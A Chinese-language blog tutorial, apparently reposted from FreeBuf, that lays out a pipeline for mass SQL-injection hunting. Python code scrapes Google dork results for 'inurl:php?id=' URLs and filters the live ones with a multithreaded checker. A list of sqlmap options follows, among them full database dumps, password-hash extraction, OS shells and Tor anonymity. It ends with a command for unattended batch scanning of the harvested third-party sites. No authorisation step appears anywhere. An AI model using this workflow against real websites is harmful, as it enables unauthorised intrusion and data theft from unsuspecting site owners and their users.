使用GoogleHack进行SQL注入点扫描查询
0×01:介绍
使用GoogleHack进行SQL注入点查询时,手动的方法一般是通过Google语法的inurl判断是否有动态查询参数,然后手动判断查询网站URL是否存在SQL注入漏洞,如or 1=1、or 1=2、添加单引号等。
在实际执行过程中,可以利用爬虫技术来查找Google搜索某些语句可能存在漏洞的URL。并将URL通过IO写入文件,方便后续的扫描工作。
这时候有观众可能会问,这个功能已经集成到SQLMAP的Google模块中了,直接使用sqlmap -g search语句就可以进行批量扫描了。然而,在笔者的实际测试中,我发现SQLMAP可以正确解释诸如:https://www.google.com.hk/search?q=inurl:php?id=这样的英文字母的搜索语句。通过测试,我发现Tested Statement与Google环境中实际搜索到的URL是一致的。但如果我们有特殊需求,比如搜索特定区域的URL,或者搜索网站内容包含中文字符的URL,比如:
https://www.google.com.hk/search?q=inurl:php?id= -site:stackoverflow.com -site:php.net intext:王小强,SQLMAP会自动过滤intext语句中的中文,并返回未过滤的结果。
真实测试中,英文字母文本不受影响。
基于此,我们可以使用Python爬虫检索Google搜索URL生成TXT文件,然后使用SQLMAP(或其他SQL扫描工具)进行二次扫描。 ?
r=requests.get('https://www.google.com.hk/search?q=inurl:php?id= -site:stackoverflow.com -site:php.net intext:王小强&lr=lang_zh-CN&num=5000',headers=headers,)lr标签设置只能产生中文结果。
然后使用xpath找到所需结果的DOM地址
e=etree.HTML(r.text)
# print(e.xpath('//div/node()'))
name=e.xpath('//h3[@class="LC20lb"]/node()')
url=e.xpath('//cite[@class="iUh30"]/node()')
# print(name)
# print(url)
filename='ip.txt'
with open(filename,'w',encoding='utf-8') as f:
for i in url:
f.write(i+'\n')
# print(name)
# print(url)类名可以根据实际结果更改。
最后将结果写入txt文件。 ?过滤,使用Python对地址进行批量请求,过滤没有响应或响应很慢的网页。
具体代码实现如下
import socket
import asyncio
import sys
import queue
import threading
import requests
iplist=[]
class socket1():
def __init__(self,i):
self.i=i
# print(target)
def scan(self,ip,i):
# print("start scan")
# print(s.connect_ex((self.target,80)))
# for i in range(1,100):
# print(i)
s=requests.get(ip,timeout=6)
if s.status_code==200:
# print(ip,'open')
iplist.append(ip)
def worker(self,q):
while not q.empty():
ip=str(q.get())
if ('http' or 'https') in ip:
ip=ip
else:
ip='http://'+ip
print(ip)
try:
self.scan(ip,self.i)
finally:
q.task_done()
# def main(self):
# print("start to detect ",self.target)
# loop=asyncio.get_event_loop()
# tasks=[asyncio.ensure_future(self.scan(port)) for port in range(1,65536)]
# loop.run_until_complete(asyncio.wait(tasks))
if __name__ == '__main__':
print("Start testing the target port")
# print("Example:['127.0.0.1','127.0.0.2'] 80")
filename='ipsuccess.txt'
q=queue.Queue()
a=socket1(80)
with open(filename,'rb') as f:
for line in f.readlines():
# print(line.decode()[:-2])
q.put(line.decode()[:-2])
# iplist=[]
# for i in range(65535):
# print(q.get())
threads=[threading.Thread(target=a.worker,args=(q,)) for i in range(200)]
list(map(lambda x:x.start(),threads))
q.join()
print("scan over")
print(iplist)
with open('ipsuccess.txt','w',encoding='utf-8') as f:
for i in iplist:
f.write(i+'\n')请求连接的最大响应时间设置为6秒。如果6s后仍然没有响应,则认为该网站已死亡。
0×04:使用注入工具进行批量检测
这一步我们可以使用SQL注入工具进行批量检测。有很多工具可以进行批量检测。这里我们以SQLMap为例。
我们知道使用SQLMap的命令是:
目标:至少要选中一个参数
-u URL, --url=URL 目标为 URL (例如. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK 将谷歌dork的结果作为目标url
请求:
这些选项可用于指定如何连接到目标URL
--data=DATA 数据字符串通过POST发送
--cookie=COOKIE HTTP Cookie的值
--random-agent 随机选择 HTTP User-Agent 头的值
--proxy=PROXY 使用代理去连接目标URL
--tor 使用匿名网络
--check-tor 检查Tor是否正确使用
注入:
这些选项可用于指定要测试哪些参数,提供自定义注入负载和可选篡改脚本
-p TESTPARAMETER 可测试的参数
--dbms=DBMS 将后端DBMS强制到此值
检测:
这些选项可用于定制检测阶段
--level=LEVEL 执行的测试级别(1-5, 默认 1)
--risk=RISK 执行测试的风险 (1-3, 默认 1)
技术:
这些选项可用于调整特定SQL注入的测试的技术
--technique=TECH SQL注入技术选择 (默认 "BEUSTQ")
枚举:
T这些选项可用于枚举后端数据库管理系统的信息、结构和数据表。此外,还可以运行自己的SQL语句
-a, --all 检索全部
-b, --banner 检索 banner
--current-user 检索当前用户
--current-db 检索当前数据库
--passwords 列出用户密码的hash值
--tables 列出表
--columns 列出字段
--schema 列出DBMS schema
--dump Dump DBMS数据库表的条目
--dump-all Dump 所有DBMS数据库表的条目
-D DB 指定数据库
-T TBL 指定表
-C COL 指定字段
操作系统访问:
这些选项可用于访问后端数据库管理系统底层操作系统
--os-shell 提示为交互式操作系统shell
--os-pwn 提示为OOB外壳,Meterpreter或VNC
通用:
这些选项可用于设置一些通用的工作参数
--batch 永远不要要求用户输入,使用默认行为
--flush-session 刷新当前目标的会话文件
杂项:
--sqlmap-shell 提示输入交互式sqlmap shell
--wizard 初学者的简单向导界面-m命令可以读取txt文件中的IP,使用--batch可以使用默认设置自动创建SQLMap。然而,这里有一个问题。重试IP后如果SQLMap无法连接到该地址一定次数,它将根据默认行为退出。这肯定会给我们的自动化带来问题。
这说明了我们确认 URL 可行性的步骤的重要性。首先使用脚本进行扫描很重要,这样自动扫描过程就不会中断。
最后使用SQLMAP中的-m命令读取txt文件进行扫描,使用--batch进行自动扫描,无需监督。
赞
python sqlmap.py -m ip.txt --batch*本文原作者:SkyAnakin,本文属于FreeBuf原创奖励计划
版权声明
本文仅代表作者观点,不代表Code前端网立场。
本文系作者Code前端网发表,如需转载,请注明页面地址。
code前端网
